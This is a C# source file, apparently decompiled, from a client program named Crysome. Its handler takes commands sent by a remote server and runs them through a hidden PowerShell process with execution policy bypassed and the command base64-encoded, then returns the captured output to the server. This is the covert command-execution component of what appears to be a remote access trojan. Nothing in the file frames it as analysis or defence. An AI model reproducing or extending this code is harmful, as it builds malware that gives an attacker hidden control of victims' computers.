using System;
using System.Diagnostics;
using System.Text;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;

namespace Crysome.Client.Handlers;

public static class CommandHandlers
{
	private const int MaxOutput = 512000;

	public static void HandleRunCommand(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0013: Unknown result type (might be due to invalid IL or missing references)
		//IL_001d: Expected O, but got Unknown
		string text = RunPowerShell(((RunCommandRequestPacket)packet).Command);
		client.SendPacket((IPacket)new RunCommandResponsePacket(text));
	}

	private static string RunPowerShell(string command)
	{
		try
		{
			string text = Convert.ToBase64String(Encoding.Unicode.GetBytes(command));
			ProcessStartInfo startInfo = new ProcessStartInfo
			{
				FileName = "powershell.exe",
				Arguments = "-NoProfile -ExecutionPolicy Bypass -EncodedCommand " + text,
				UseShellExecute = false,
				RedirectStandardOutput = true,
				RedirectStandardError = true,
				CreateNoWindow = true,
				WindowStyle = ProcessWindowStyle.Hidden
			};
			StringBuilder sb = new StringBuilder();
			using (Process process = Process.Start(startInfo))
			{
				process.OutputDataReceived += delegate(object s, DataReceivedEventArgs e)
				{
					if (e.Data != null && sb.Length < 512000)
					{
						sb.AppendLine(e.Data);
					}
				};
				process.ErrorDataReceived += delegate(object s, DataReceivedEventArgs e)
				{
					if (e.Data != null && sb.Length < 512000)
					{
						sb.AppendLine(e.Data);
					}
				};
				process.BeginOutputReadLine();
				process.BeginErrorReadLine();
				process.WaitForExit(60000);
			}
			string text2 = sb.ToString();
			if (text2.Length > 512000)
			{
				text2 = text2.Substring(0, 512000) + "...(truncated)";
			}
			return string.IsNullOrEmpty(text2) ? "(no output)" : text2;
		}
		catch (Exception ex)
		{
			return "Error: " + ex.Message;
		}
	}
}
